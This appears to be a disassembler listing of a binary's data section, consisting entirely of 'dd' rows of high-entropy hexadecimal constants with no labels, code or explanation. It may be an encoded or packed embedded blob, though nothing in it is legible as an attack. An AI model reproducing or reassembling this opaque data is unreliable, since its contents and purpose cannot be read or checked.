		dd 325D4D0Ch, 525334ACh, 7703EAE8h, 0DAAD11BBh,	2ABA5FD2h
		dd 414E8D80h, 359069F0h, 840792B0h, 48197B25h, 0F581E884h
		dd 0EB04FEB0h, 0EE0044A8h, 1CA5EB45h, 7E95F529h, 0C4BE12BFh
		dd 0E2E6FE42h, 0E909B242h, 0E4DEE612h, 0CDAEF664h, 0FBE7E091h
		dd 4FC072F1h, 9CA5E8BCh, 0A5B7D9B4h, 31BF5C4Fh,	3AA47F6h
		dd 30A6B15Ah, 0F7DABA68h, 0AB59978h, 0E542C2BFh, 6856000Bh
		dd 862D2E21h, 0FB17C06Ch, 66CC301Bh, 38F9280Ch,	0F8C26798h
		dd 57EDD14Dh, 3456F6E8h, 95853381h, 0E8498C68h,	8C90D67Ch
		dd 0B05EF031h, 99CD56E7h, 4D4E6809h, 0D3634F7h,	895E955h
		dd 73A36B66h, 16C3E6D6h, 57B808E1h, 0E81EABC5h,	0BCAD938Eh
		dd 125E5927h, 7827ED24h, 17CA1298h, 8D17FE37h, 51E9A2D1h
		dd 0EC910734h, 440D5BACh, 23D1DBh, 535536EBh, 33520345h
		dd 6C642E32h, 4441018Fh, 4950CC56h, 4E3F0DA6h, 0D54C3854h
		dd 11E0Ah, 5FF18D9Bh, 0C308B4E9h, 9C3A6812h, 62D706B3h
		dd 0D361FDE2h, 5E0A42A4h, 899DB610h, 442B0854h,	42844A9Fh
		dd 84021AAh, 3690A092h,	2C44E588h, 703F4A40h, 9707F00Eh
		dd 0F98CAA0Ch, 0E02A4832h, 3DCDEB7Fh, 9180EEB5h, 1390F2E4h
		dd 0F50093B1h, 4D3654B6h, 0D6F456h, 3C91F3B0h, 173786BBh
		dd 0BD33CD00h, 92ACE3A7h, 18BA0051h, 72D2972Ah,	0D100EC21h
		dd 232DC4C0h, 3B61C2h, 2F551C71h, 75861778h, 0C17D4018h
		dd 1C6B522h, 0DFFD475Ch, 0F866C724h, 74000C41h,	7E2BC31Ah
		dd 0F58C1Dh, 0BC6D0FF8h, 1F41676Eh, 0B5ACFC00h,	5162FA24h
		dd 0CDA1001Ch, 0F2530DA0h, 0ED0E02CCh, 0EE0314A5h, 1CCE0CBDh
		dd 6D9300F4h, 9E9C6A4Ah, 0FF03600Bh, 95285D6Eh,	5707C8DBh
		dd 4D000F6h, 0C54FDE75h, 0B207CF20h, 9663056h, 32677810h
		dd 9F79038Bh, 0BDEA9E07h, 0DAD94600h, 965B29C9h, 0A16D0FAEh
		dd 0C8009AFAh, 0C2E50B6Ah, 9D25CA03h, 0C0A0C005h, 0EA0160BEh
		dd 176F090Fh, 0C50094D6h, 52B3066Ch, 0B4D2F000h, 372FC2F7h
		dd 0F8A40534h, 0FACFFC9Ch, 2960BF00h, 0FA187Ah,	9EBC1E8Dh
		dd 405EC0E7h, 0A55F4428h, 0CCF7A370h, 7E0004DAh, 0E3A5C325h
		dd 4462C4h, 0E402643Fh,	52A709A2h, 219CD10Ah, 0D300EA18h
		dd 0EC9AF9BDh, 76100BFh, 0E419AAEAh, 0CC00E19Eh, 0D2B4D42Bh
		dd 0FA1348D9h, 4A34C015h, 57F788E9h, 17792C00h,	0BD1B8AF9h
		dd 8CE73D9Fh, 28166698h, 0C4002586h, 845FE8Fh, 306FCB7Eh
		dd 0F6D565CFh, 0B2021493h, 56B8F394h, 33E4438h,	7997F9AEh
		dd 3DD89A09h, 0E4009EB0h, 493F5DBFh, 0DAF85Ah, 7A98FAA9h
		dd 0E83D9F0Ch, 0D508D3ABh, 47874B61h, 0DAA91043h, 0E006DCBh
		dd 54314FADh, 0B9EE96h,	0ACDCFA58h, 8A38A1FFh, 5BA41C0Bh
		dd 0CC8F00BDh, 0BFA8ED78h, 3038CADCh, 95D55D7h,	7BBC2405h
		dd 11750068h, 0B9D63092h, 0B3E87900h, 2BC20B66h, 552E1D4Eh
		dd 14C0398h, 0F4B8498Eh, 0D6003796h, 0EE233445h, 0CAD1CFh
		dd 89266233h, 0E6FCC2Bh, 295AE800h, 80DECDBBh, 43F6A821h
		dd 0C7E600A1h, 18A90A69h, 0EB60D207h, 61463E41h, 7DA30504h
		dd 0ACB211B1h, 0EE3D2B1Ah, 0A99EB07h, 0B10F9C40h, 60F10052h
		dd 0B5DBC8C0h, 833081B6h, 0A545BA6Fh, 1B31EAE1h, 6290C1FCh
		dd 0ECACD289h, 0A26C1B50h, 0D14215h, 3594F2B1h,	325472D4h
		dd 0BD000A90h, 9ACF60A0h, 0D2F6DDh, 21B21331h, 41A30281h
		dd 450A237Fh, 0C5BDC9E7h, 0A051320Fh, 0EF8FEB84h, 0E4BFC053h
		dd 86A406A5h, 40A20100h, 0E2446322h, 85C05CC4h,	841F3D77h
		dd 885E2780h, 2947A9FAh, 0EE505F00h, 8EF0B3D0h,	8D160170h
		dd 2055D62Bh, 4F12249Dh, 29753900h, 8BABFA89h, 4EAC00F7h
		dd 4B3BC9EFh, 0BE00D8AAh, 761D8F97h, 7999B715h,	1C2D0EEDh
		dd 0C56ED6E7h, 10ADE2C1h, 0E40C871Dh, 9FB02683h, 7C0B8CD3h
		dd 0B6CF006Bh, 0D13291EFh, 17188FABh, 643D5255h, 7F2C01ECh
		dd 77973348h, 0DA39CC0Eh, 51022190h, 226CF4F3h,	0A500D503h
		dd 46BADC4h, 0EA00927Bh, 0A8EE4F07h, 81FEB960h,	8FF3409Ch
		dd 7C48635Ah, 0BEC6004Bh, 0CA2B8CE9h, 0FD12266Ch, 7313069Eh
		dd 49144611h, 28F67FEFh, 0C813A1E5h, 6A006BABh,	3BD6C432h
		dd 3ED500ADh, 21F89B67h, 7F01E050h, 8F9E3659h, 1D2031C8h
		dd 15092C5h, 71CF30FBh,	80B102BEh, 0F6969580h, 4F1178Ch
		dd 0B43CD1D5h, 0B3A880AEh, 0EF81016Ah, 3862660h, 63982969h
		dd 921C7B1Dh, 0A5008323h, 3ABA058Eh, 6872003Dh,	0B1E67742h
		dd 3E90C90Ch, 6A1E90C1h, 0C646147h, 0F73F0354h,	1541CF66h
		dd 98D9AEC0h, 55B6ED13h, 1E2E4400h, 2BE0DA1h, 338375Dh
		dd 0CC1EBB1h, 2740DA23h, 28008625h, 0A90768C9h,	0F2324Fh
		dd 0D3602C61h, 7E1E059Ch, 419F041Eh, 0DD79A81h,	0ACCC8AE6h
		dd 5ABB2886h, 0ABF89Fh,	0E8533D15h, 6323C3C2h, 0C8E64800h
		dd 3BB0E5BEh, 4F19875h,	0DE0CAC08h, 1A6F0003h, 10B298Bh
		dd 0B1CF317Ch, 6473D5D4h, 0F80016A2h, 0BCB7198Ah, 651D33h
		dd 0CABEDC3Eh, 265D7BDDh, 879F7F7Bh, 0E4F0BAA5h, 901B0EAFh
		dd 0C8DE2775h, 420092FEh, 0A7066443h, 80B50946h, 0F282E21Ah
		dd 6D80AF10h, 0BCA1B388h, 0D5478C1Fh, 0FF80B01Eh, 62C11F86h
		dd 0E9DC004Bh, 0C6665F8Dh, 710012A0h, 35961573h, 0E3344D3h
		dd 0CCB2BFFEh, 0AE0802B3h, 61E16320h, 6D053BC4h, 680A949h
		dd 641ABA16h, 0C0F0FF5Fh, 0FD8AA84Ch, 24C6AE5Ch, 0B480E257h
		dd 136F8DEFh, 3E60F790h, 39B5F894h, 54003553h, 0F4AFD4F2h
		dd 120A7492h, 0D9E23799h, 63FF9118h, 689594Dh, 6FD0DFC0h
		dd 2C0ECA11h, 72B5F27Ah, 73875A01h, 5321767Eh, 2CE2FD2Ah
		dd 0C0588F25h, 55907Ch,	0B9F692B2h, 399BFC5Bh, 8DACE500h
		dd 0D7CCB656h, 0F41A0079h, 3CCDD52Ah, 0BD38E69Ch, 0DBDA0E5Fh
		dd 447A6CA6h, 26B70918h, 0CB00108Fh, 95CDC820h,	0E9013A70h
		dd 0FC22D083h, 0A4C0B7DAh, 0F58B1CD9h, 7FE6698h, 0ADD431E2h
		dd 7C922443h, 3956B000h, 0AED168F9h, 0AC1F01CAh, 4E4D73C1h
		dd 0DA17D019h, 1879D300h, 30657687h, 0D668018Dh, 0C7F62BDBh
		dd 2D0C9667h, 98584500h, 0BB53D8h, 5B81E279h, 88EAB9CDh
		dd 381C6A26h, 0FFA5F100h, 4B126ED5h, 8DEF472h, 0C0228100h
		dd 64C6E5A2h, 683F0046h, 79CE806h, 0FB3D87A5h, 0A24B80A8h
		dd 6BCDD6ACh, 6C3B094Dh, 5C48EC0Ah, 4F73B1FAh, 28447939h
		dd 7B25E81Ch, 38625465h, 553B7089h, 0DE3F6220h,	0D600AD4Dh
		dd 344F6DCFh, 17F51371h, 27DD1291h, 53F3C141h, 0B5A79224h
		dd 6332B222h, 5092F28Ch, 0B2F11E87h, 533BF950h,	5709F604h
		dd 0D2C4952Bh, 4349F099h
		dd 9BE07051h, 0D8E51A12h, 61C3B42h, 6B539442h, 9021CEAEh
		dd 0F8E647A8h, 0D258D1B5h, 0BBFF0254h, 0E8CEF52Ah, 0C122B5h
		dd 0B73DD463h, 0B97928C2h, 0F482A800h, 7384158Eh, 0F97F243Eh
		dd 147500B8h, 0F18122EEh, 204F6D4h, 9D473C3Fh, 26040E6h
		dd 0AF400DA1h, 80354B7Ah, 2F760F11h, 14C72D1h, 87246280h
		dd 80F88829h, 0F195B366h, 730EB82h, 0E2DB2110h,	2F28A34Ah
		dd 0B5CCA400h, 0C6A3EA22h, 855D48F8h, 0D1313D0Eh, 78ADBE60h
		dd 2ADB3E45h, 8068B7AFh, 0B8EB97B7h, 9A00FB5Ah,	0B34E5874h
		dd 0EC76D8D3h, 0E475002Eh, 4624144h, 8AD27FA5h,	0EF9EE71Fh
		dd 0EA9C65C1h, 1CDB5FC1h, 0C00AF825h, 0BFC33E68h, 640082E4h
		dd 927851Eh, 1CD2B7Ah, 6ECCD7AFh, 8013AADFh, 5878D98Bh
		dd 1316742Fh, 0CA7FFADh, 0EB1F0954h, 0FC298A07h, 5940D8CEh
		dd 58CAE84Ah, 0DE00ECBCh, 9BBFDF1Dh, 51245583h,	394065B0h
		dd 0EE0C6Ah, 6C375094h,	0C06EAD0Bh, 8278E660h, 9CC3B2h
		dd 5F5E935Ah, 95EC3FDFh, 0ADD33400h, 77D671Fh, 0E3420BA0h
		dd 8C802082h, 126FC927h, 700681E2h, 0DE932A5Fh,	8A965038h
		dd 0E1F80059h, 33692B9h, 14013A80h, 3DCC5FF1h, 8F30D5EAh
		dd 25B71B8h, 582B95CAh,	75C0E44Ah, 2E3F40D7h, 1E5ACC5Eh
		dd 0A04036C0h, 0FE5DBBE8h, 0AB77009Dh, 0E90C7C1Ch, 8CE82F63h
		dd 140062B0h, 0B3F098B6h, 2E95F655h, 3ED7E16Fh,	0F8121CD8h
		dd 0A23AC4D2h, 39FF00A2h, 0F7D9A7ECh, 45490092h, 99CE5FBCh
		dd 1CC0F224h, 0E00667C8h, 90616014h, 9DE932B2h,	92B00E18h
		dd 0B3EEC6Dh, 69175868h, 152B30Fh, 0EF15749Fh, 24E16061h
		dd 64800605h, 9C058823h, 83C0D9ABh, 381F3041h, 5080D3EAh
		dd 98B81915h, 591DB7ECh, 0EED7D4FAh, 3D809112h,	0EBDDD3Ch
		dd 1E7DDBCAh, 493D5BA0h, 5C59FC5Ah, 8878705Bh, 0EF9A0600h
		dd 424462C0h, 0ED0B0969h, 0ABC80F96h, 48253A58h, 0A2D3A35Bh
		dd 45508784h, 2475E27h,	0F1BCCBE9h, 76751B93h, 0D23CF962h
		dd 429513BEh, 98D9575Dh, 34587D5Ah, 89B500Bh, 0AFB95706h
		dd 6BCB6B54h, 22B95101h, 3E056206h, 8F136CB2h, 70FE0E40h
		dd 3E690F74h, 252ACFDDh, 0E916BA6Ch, 0BF00D9C6h, 88982313h
		dd 66BF031Eh, 0A32EB810h, 0C503A600h, 0D12CE0FFh, 19894h
		dd 5728507Ch, 0CA38420Bh, 3D491400h, 55D4C691h,	1EFFC64h
		dd 2346A36Ah, 800BE85Ah, 3257798Bh, 0EDAC434Ch,	0BE4E970h
		dd 5870F68h, 0C30070C4h, 605ADE62h, 0A061D98Bh,	805DE1ACh
		dd 5FFC8A51h, 174E681Ah, 0B42F2012h, 99242Fh, 0F43D9DD9h
		dd 81258D47h, 8683E339h, 585B4DE8h, 6C60762h, 240A8B7Ch
		dd 0DEE3C0FEh, 77027B8Fh, 17849EBBh, 64FA870Dh,	667E5291h
		dd 0F49C30F0h, 0D3363AE9h, 0DB0035BBh, 3E4A9661h, 58C20A89h
		dd 0DD50CCE6h, 0C9BB4A80h, 4308FC7h, 0B70F024Ah, 3BD9BEFFh
		dd 335B8528h, 780B1EE9h, 0B60636D0h, 8E0F1A14h,	0DBBB808Ah
		dd 0E56FE901h, 806E1C6Fh, 0C2E1C3B0h, 0D6E4A0EEh, 31416500h
		dd 0B6340CC0h, 0E3210F03h, 0E503CA2Bh, 0D4E0CBB5h, 0F133D731h
		dd 0A0E228D3h, 19DC82B1h, 21C8B4E4h, 482ED056h,	40119A63h
		dd 4B2280CEh, 38068304h, 28D7EBE3h, 158C0711h, 0BC89B105h
		dd 10C4A81h, 11E0658Ah,	9BF30454h, 296F3Fh, 0C680CFD4h
		dd 7C3642CAh, 0C86E8103h, 98EE06A1h, 123BC70h, 4A289CA8h
		dd 30B9C131h, 601CA72h,	89097633h, 10A43792h, 0C7AE003Bh
		dd 0D84FB413h, 9FAF0F00h, 1A32F299h, 84FE51C1h,	86446088h
		dd 85FF1E3Eh, 1091300Ch, 0F1B56049h, 89A473E1h,	0A15F2500h
		dd 0CA86DA3Ah, 0EFA9C027h, 0FDFB7526h, 6ADCF500h, 17343F5Ah
		dd 1F8EAF0h, 8365D853h,	82A54066h, 360DB058h, 3F84844Ch
		dd 0F94DBC0h, 0FE723AE4h, 40121F00h, 37D35B78h,	2A46B918h
		dd 24353D0h, 0D86092D5h, 0B4A03EE8h, 69F43675h,	6FE20502h
		dd 800D81F1h, 0B0D8A188h, 3A8B3AEEh, 0EF5B0A00h, 6685B2B9h
		dd 89AB1830h, 0FA6815D2h, 0F7520081h, 3E0C5019h, 79283BA8h
		dd 0BF7F90F2h, 836AFE0Bh, 0D928291h, 167C80CCh,	466E2Dh
		dd 0D725E30Fh, 93BAE965h, 561B9200h, 89379F24h,	0C083EF06h
		dd 0FF71E23Bh, 8D0CE801h, 0F2750D4h, 624B21D0h,	0FF65D124h
		dd 61E21048h, 3C8FB00h,	0EF50D09h, 0FC3A0042h, 9737A145h
		dd 910C639Ch, 9109CABBh, 57410015h, 0F870FDAEh,	206D869h
		dd 0BC887E83h, 724830F0h, 7CDD3170h, 0F85F3Bh, 0F227DE36h
		dd 35DCD62h, 3B943FEBh,	10F8DF2Fh, 3501660Eh, 407B07D3h
		dd 67E06AEAh, 1F71F801h, 0A04D85Ah, 0F14375Fh, 0F4806E1Ch
		dd 76988215h, 0A6C73800h, 80BC5425h, 53F471h, 0F6A291Dh
		dd 0CCADB41Ah, 541F1F78h, 617D8F82h, 0B2A17624h, 76A37F0h
		dd 3EE59F3Bh, 0CDA2F0BCh, 2E00B160h, 0D3D08554h, 30C70102h
		dd 37205579h, 5358ADE6h, 842043F9h, 8360B473h, 4F4021A6h
		dd 9BC53DAEh, 0C4399060h, 721D6ACCh, 82072BFBh,	0C1E01703h
		dd 1B16AE6Bh, 9B61F5Eh,	0F74821AEh, 4648ACh, 39D81558h
		dd 50C33C93h, 408035h, 7B90DFC9h, 0DAE010D1h, 91077001h
		dd 4EE92F9Eh, 3B368520h, 5E308E16h, 0A4C03750h,	3F8343Eh
		dd 0AE7E39A3h, 0A5ACB0BCh, 0A81C602Ch, 4C790465h, 71AC5050h
		dd 6A38BB67h, 0E7517590h, 0D1451EEEh, 399F86DEh, 0CD14E820h
		dd 896C6D6Ah, 0AEEA820Bh, 726C94EEh, 0F6C100E8h, 1B593CD9h
		dd 0EE00A320h, 82FF6604h, 0C0564F50h, 0C0694AB1h, 3FFCD1D3h
		dd 7EE92B19h, 21874608h, 70C07117h, 4AA5C5D9h, 531E4AB8h
		dd 0B00F4A7h, 0B182F0A0h, 0BF723199h, 0D30402C9h, 121B122h
		dd 0A60746FDh, 0F8C2D78Eh, 8A003ABBh, 650CD831h, 60DE2053h
		dd 0C91C41BEh, 391956F8h, 4080B40h, 525CA0E4h, 4E3BE434h
		dd 6929A1E0h, 0D20098BBh, 0F83CEAE6h, 0CCAF75Dh, 25FA6BCEh
		dd 31009181h, 241B5E8Ah, 4C954Bh, 30B8B433h, 1E73C58h
		dd 0A81F012h, 0DACB2005h, 797ED6C0h, 0CFD10934h, 80020A6h
		dd 9A2A6083h, 81DD5492h, 5898C201h, 30D01C19h, 1AA0A8DEh
		dd 1BFB3070h, 7D82A29h,	7CB14801h, 1A4B28BFh, 0FC86F4h
		dd 0F2236F43h, 0B614A2C1h, 0B50B2CA0h, 2DD3214h, 18E71E80h
		dd 2136970Ch, 9168F620h, 5B71806Ch, 2DF918Bh, 822828C8h
		dd 134CADAEh, 96833C40h, 0AC4F6124h, 1FBDA84Eh,	263D0C81h
		dd 7130E718h, 3A75D9B3h, 0B7DD1FF0h, 70E84031h,	0DA8D8766h
		dd 2CFF0A00h, 0DF0B283Bh, 82D3B0CFh, 5A308090h,	0CF6DACDh
		dd 34D33F5Bh, 1CE2C488h, 0C48AF03h, 7D032BC5h, 0AA3A0990h
		dd 84054E59h, 0CEFC1E1Ah, 0B0438BDh, 0C8548BF0h, 8094C744h
		dd 7CB67DA6h, 0E8FFFB28h, 0D8031809h, 0A2301072h, 0A740E64h
		dd 566F883Bh, 0A9344CF2h, 6C017D21h, 57168E74h,	6360E58Dh
		dd 0CBF400BAh, 0A4F2EA25h, 9D0A3222h, 0B42096B2h, 0BD1811A6h
		dd 777D741h, 56B5BADFh,	0D0F80FD0h, 10CE508h, 29BC7104h
		dd 0AF50064h, 347A3E3Ch, 0AE7AC4F4h, 0FA30D090h, 0B78D5927h
		dd 670918EAh, 2CD8221Dh, 0DF289A04h, 5080B161h,	69BFCE9h
		dd 0FB44A06Dh, 50A8392Ah, 0EA4827C3h, 70C4C0ACh, 0F698737Fh
		dd 3514F836h, 315BABh, 0D96BCA58h, 30907717h, 0D8C51C07h
		dd 0ACB069A1h, 49F9386Ah, 862438ADh, 3779036Dh,	71869A05h
		dd 97D2230Fh, 60C22D64h, 296930E7h, 97DA5E21h, 0CA644407h
		dd 0ECF3F7ACh, 0A366045Bh
		dd 802550ADh, 0F1A7370Ch, 1DBBB40Fh, 220FE634h,	9E5B3A18h
		dd 82543824h, 0ADEE39F4h, 7998BD60h, 24B08824h,	98F36B0Ch
		dd 0DC1E8C07h, 0D2516697h, 40802B88h, 19B997E4h, 19F0E8D7h
		dd 511C799Ah, 0FE4CACD1h, 2043BC03h, 0F02EBD5h,	0CDC65138h
		dd 91DF9059h, 0E1001E70h, 63E41E3h, 680FDE79h, 20B9E765h
		dd 0B5362A9Ah, 0F44550CCh, 55AA2014h, 8F0A3700h, 1A09D663h
		dd 0FF3B000Bh, 6C7ECAA0h, 0B50C8C87h, 198B5E26h, 0DD991A98h
		dd 5C43A083h, 3F18F023h, 5169979Eh, 802888DAh, 0A897E541h
		dd 0F603665Bh, 0A49B2095h, 4E19D138h, 39043862h, 8257CCF2h
		dd 6930E5A0h, 3B0F0874h, 0A6640B50h, 7451C15Dh,	0CC700DE9h
		dd 5D009167h, 591BB866h, 9A8E3CF0h, 72BC44F8h, 8B68514Ch
		dd 0EDAC20D1h, 784F542Bh, 3E400C9h, 5C27DD1Dh, 0BC125289h
		dd 74522DFAh, 639D3400h, 0F78ED369h, 0C4202E71h, 3119073Dh
		dd 59993708h, 0AF910097h, 9ABEC080h, 57502871h,	0B51A2AB4h
		dd 579CE9Eh, 0C8987390h, 23C17E01h, 12111EAEh, 0C119F600h
		dd 0A7A54222h, 7F027073h, 5B834716h, 0C1C4437h,	80C9999Ah
		dd 0C712DF70h, 3C010862h, 83414E6Bh, 748CA0A4h,	48034246h
		dd 0F0134708h, 901F7022h, 98C0B94h, 0FF86AC11h,	2802191Bh
		dd 3F924C5Ah, 588AC07Fh, 3A5F0B7Dh, 300222F1h, 79203494h
		dd 249EFCF8h, 1C6875h, 0F156F2F4h, 0D11DB1E9h, 5EC0B638h
		dd 0AD3ADE88h, 392C60FAh, 627930ECh, 0FFFE8F03h, 0E0A91341h
		dd 913811CEh, 0B06F1540h, 66C10D80h, 448CFEAEh,	500EA1Eh
		dd 0C9DDCCC1h, 2A0181AAh, 0E8B471h, 0EA7C94FDh,	0C6E64E77h
		dd 9A01ADE2h, 0A996C70Fh, 0B8524865h, 0C060C2F2h, 0A010EBBCh
		dd 0B94F53BCh, 2CB80034h, 389DEE9Fh, 9096BA00h,	0F997898Fh
		dd 90DC9062h, 61438A0h,	0DD806A3Ch, 0AC3FA6D1h,	304CE7C5h
		dd 821C0360h, 184EB14Dh, 0A1B57068h, 110035A4h,	4806C815h
		dd 7559C5h, 0FB1D927Eh,	730BCDA1h, 9EB41D6h, 40A9CA64h
		dd 35B72004h, 8337C00h,	1C8E085h, 4BD4C0E9h, 72FAC3DEh
		dd 63F50044h, 622F9BAAh, 7147B3Eh, 5E2991FBh, 0BA1B70C1h
		dd 82007DC3h, 3EAC284Ch, 0C2DF24h, 21FF9ACAh, 0F0ADB46Dh
		dd 82903364h, 0C7D7B980h, 982A50CEh, 41BB0003h,	0AAAC5072h
		dd 0E0A814CBh, 0A128A99Ah, 0E4A0B4A3h, 48084DCh, 6A0E035Bh
		dd 0BFA47180h, 2CF22077h, 0CA07E714h, 807BE120h, 2F60FA18h
		dd 5358EE1h, 0DE4E0ED6h, 3B257DADh, 88548E1Ah, 642EC026h
		dd 0C703B445h, 3674DCB2h, 98D81D7Fh, 5000A0B9h,	8C0EF4C0h
		dd 11FF8D5h, 14F1D867h,	0E0F7CE57h, 0F558C475h,	9CF3A30h
		dd 0EE7861h, 0F8C76B03h, 0F18F5B15h, 1736D095h,	0D47E1A00h
		dd 0DB6E75FFh, 7A6D006Ah, 601B1EC1h, 1100FCCAh,	10F5D97Eh
		dd 29FBCE70h, 43380314h, 0E4C3717Eh, 54184AC7h,	0E6087B63h
		dd 2D4C363h, 0F1BF5EB0h, 0A858540Eh, 0F7172190h, 1400557Bh
		dd 1BD47410h, 15E0E36Fh, 7BBBFA0Ah, 0C3C49011h,	6E05E7D1h
		dd 0A2FADBC1h, 48FD039h, 0C42D7189h, 0BDAA1004h, 2D508BBh
		dd 7212B7h, 1BD770DCh, 25E31A29h, 9905CC88h, 0F019DA60h
		dd 507904ABh, 908308D5h, 8FDD4C04h, 3208224h, 3A43053h
		dd 0AE855904h, 40C44425h, 47A20C63h, 0D9260C88h, 0D074817Ch
		dd 0B281803Fh, 10EAA058h, 4C629F37h, 69F2E741h,	4098EAE4h
		dd 56CD19A6h, 0E77850F5h, 58A1BEF0h, 39FC0E41h,	6E437E87h
		dd 0D61E21BFh, 32C7D609h, 20E4A71Ah, 0CC90B984h, 6005A739h
		dd 97B42845h, 2B749A77h, 0CC73E28h, 245B373Ch, 9882E419h
		dd 60AF3991h, 1DC1D7D8h, 2657AE53h, 22381FF4h, 239FB512h
		dd 0CDACFC41h, 2C612E50h, 5DAA560h, 0ABC081D1h,	1E0C13ADh
		dd 0C5F1178h, 0B13327DFh, 16B1C80h, 0D164A93Bh,	63FE1067h
		dd 3ED52AAEh, 0B6BC818Ch, 0FAB80209h, 0C169CF10h, 2C6BB780h
		dd 79F05094h, 0F8A6DD2Bh, 18E05350h, 215C034Ch,	11482409h
		dd 134062E9h, 48B4D119h, 4622118Ch, 97D6A0E4h, 0EB98B063h
		dd 849869B2h, 98902113h, 64417B16h, 32C43783h, 1F181985h
		dd 728833A2h, 82F0E012h, 410D6408h, 10B6CE85h, 54B3C430h
		dd 24C7E02Dh, 640C3965h, 0A3805018h, 0C994698h,	0C0016F2Dh
		dd 62097462h, 53BEA804h, 1A318896h, 426ACDE0h, 6B10CAF4h
		dd 488350CCh, 0AC592499h, 0D2C78460h, 0B6288C06h, 6880148Ah
		dd 0C20C9936h, 8C80016Fh, 0D1D6C063h, 42F60C99h, 0E09DA578h
		dd 285EA842h, 0A3DE5180h, 5120C99h, 0C10950C1h,	11FC9C23h
		dd 0DCFCB646h, 37B1C986h, 3542A03Eh, 27C3B9C1h,	14F029D6h
		dd 96D89EFDh, 1C4E7421h, 0E45061ABh, 5F132A30h,	93E4CCC2h
		dd 6FA83C52h, 0BCC89281h, 0D8D45268h, 4DF23055h, 4C989558h
		dd 23AA2C49h, 26115F6Ch, 0C3EC40BFh, 700084BEh,	9EEF287Bh
		dd 0A4373BB6h, 7818D470h, 0A1A0412Ah, 0B31432DCh, 0F2E501E0h
		dd 0DA01039Fh, 569D708Fh, 33971091h, 89A29C40h,	0FA3C4C69h
		dd 0CAC55811h, 3CE851E4h, 0BF134EC1h, 0D8551EC2h, 7C5B3C1Ch
		dd 311EF38Eh, 159B316Bh, 30DC24h, 751409F4h, 8CA2E6C0h
		dd 0EF1C401h, 10FB177Eh, 0FCD6D0h, 0E2B93511h, 1D22191Eh
		dd 0CA78630Fh, 0C48E804Ah, 8FA2F5h, 230E09CEh, 701BF2BBh
		dd 36F4173Ah, 112877h, 168F15FCh, 0C17A1F08h, 8EA2F300h
		dd 231EF5BBh, 7CE178D5h, 0EFB0762h, 83F8CA7Bh, 1DC0C573h
		dd 0FD25D671h, 4A0A854h, 6709DCD7h, 1FF8E0h, 8D54E7B4h
		dd 3CF64FBEh, 11D29244h, 0F2E85460h, 4B69163Ch,	3058CD76h
		dd 4A4D8F20h, 0ACD33E3Ch, 0DD82B056h, 60053327h, 23050F4h
		dd 79967399h, 1CC0CC97h, 310284DFh, 9EB2BB77h, 368C83Dh
		dd 0D536076Ch, 389DFDEh, 0DDA9663Fh, 0C0E8C6A9h, 7091A17h
		dd 71C6DCC0h, 9CCA628h,	0C852FD0Fh, 32CFDC18h, 4A377981h
		dd 0FED0D5F2h, 33082886h, 77F9CF03h, 0A377C0B6h, 0D87CFD54h
		dd 0F56CF204h, 0A178B493h, 6004AD3Fh, 4E973710h, 90BB4BA3h
		dd 22677B60h, 0C607E680h, 0F8AAA930h, 0A2811360h, 94B0F9A5h
		dd 0B69C8828h, 341F9C20h, 78F2BE97h, 29D0E47Fh,	408CE06Bh
		dd 0C2E4ECBCh, 8006188Fh, 0F328A06Bh, 9A48884Ch, 0B4C79E00h
		dd 2E91B5AAh, 19808171h, 7B4DC139h, 31036E7Ah, 3693681Ch
		dd 56892857h, 0A209C448h, 2A289883h, 605E6491h,	0A55C59BAh
		dd 0CEF820C9h, 48621A00h, 9DE302CAh, 0CF6F05A0h, 0B02311F1h
		dd 0C51E7C34h, 0D4161709h, 0C0617862h, 0F18E1050h, 17F05461h
		dd 0E850FE16h, 7F1507FDh, 0A2B73CCAh, 4498362Dh, 2601AD0Dh
		dd 710C405Ch, 44C41AFh,	626D3E75h, 0A00C4229h, 1B180F08h
		dd 4691CF60h, 7F1E1474h, 88688F08h, 0C8076B1Fh,	3A46C501h
		dd 658020A0h, 32DA09AAh, 899EC10h, 23B45596h, 68C58E34h
		dd 21CE3E30h, 28E29022h, 9844C424h, 8676480h, 7010B2C4h
		dd 264AAA10h, 5DF9C5Ah,	215AAA2Bh, 59A2150Ch, 1E50008Ch
		dd 0EB6B5441h, 150C928h, 1F4409B8h, 1D121E89h, 1B481C24h
		dd 19221A91h, 89171844h, 24151216h, 91134814h, 44112212h
		dd 52F82F10h, 0E50353FAh, 0DF6D6E1Bh, 69C11916h, 4B57B881h
		dd 41C2984h, 8479575h, 0FBC4228h, 3BD33D7h, 538369C3h
		dd 92872FE7h, 3D298035h, 0BC016A08h, 0B33C002h,	9FF3B203h
		dd 3B44AA47h, 408CC0C7h, 0FAE80BAh, 0F8367280h,	283D072Ah
		dd 8202196Ah, 48535DF9h
		dd 41FFA5Fh, 0BE4A56FDh, 20288CCh, 6E05172h, 8A2F6B6Ch
		dd 2D5738B7h, 1AE7ECE0h, 0C3911C7h, 2238E583h, 18822709h
		dd 5DF50417h, 289AD7C0h, 0B8621DB4h, 5F6B4370h,	210A369Eh
		dd 3883963Fh, 0C3518055h, 0C0C2266Bh, 0B6ECAB1Fh, 1856BA0Ch
		dd 14F0043h, 0F692286h,	5550A22Fh, 1EF8391Ch, 0DCBDD102h
		dd 91BE4AE8h, 9C7A5D28h, 5F1865E4h, 724128EBh, 6331C0AFh
		dd 8027847Fh, 0D96039h,	0CDF2DA0Bh, 46DDE1h, 998A1EE2h
		dd 53CCB520h, 0DE7639E0h, 6826A918h, 0E63840h, 22578E70h
		dd 3DFCE928h, 948B4D38h, 58AD14h, 0DA6A21AFh, 0C032851Ch
		dd 51996504h, 0A40195E8h, 6C14E29Ch, 31805B4Eh,	0CCE35057h
		dd 9F0F4D71h, 0EEB1A8D1h, 69924077h, 7E693B6h, 0CDFC7D76h
		dd 327B8040h, 1B01447Fh, 0D1EBED02h, 82F4CB4Bh,	0B613014Fh
		dd 65578371h, 4C9D4F7h,	147E1A00h, 7C3E9DFh, 619803E3h
		dd 75A9AC7Dh, 82B1AAE0h, 5A370412h, 904027BFh, 0A711065Ch
		dd 562E1300h, 0C307E7B1h, 3AFFE10h, 0A37A2A8Ch,	0E8E0E084h
		dd 78783D8Eh, 2D893Dh, 79E431ACh, 0A2EBF97h, 23BA947Ah
		dd 0E08B5114h, 30C1AA73h, 3A80AE74h, 408DA8F0h,	2900BF2Dh
		dd 238C9F70h, 0FFA17Bh,	85A4B0B2h, 0C3066B20h, 937E2E0Ch
		dd 9418FEh, 0AD682389h,	0A56B3E83h, 2880B3E9h, 0B892A02Bh
		dd 0C747425h, 936A3E8Eh, 97187378h, 0BD303F88h,	5974603Ch
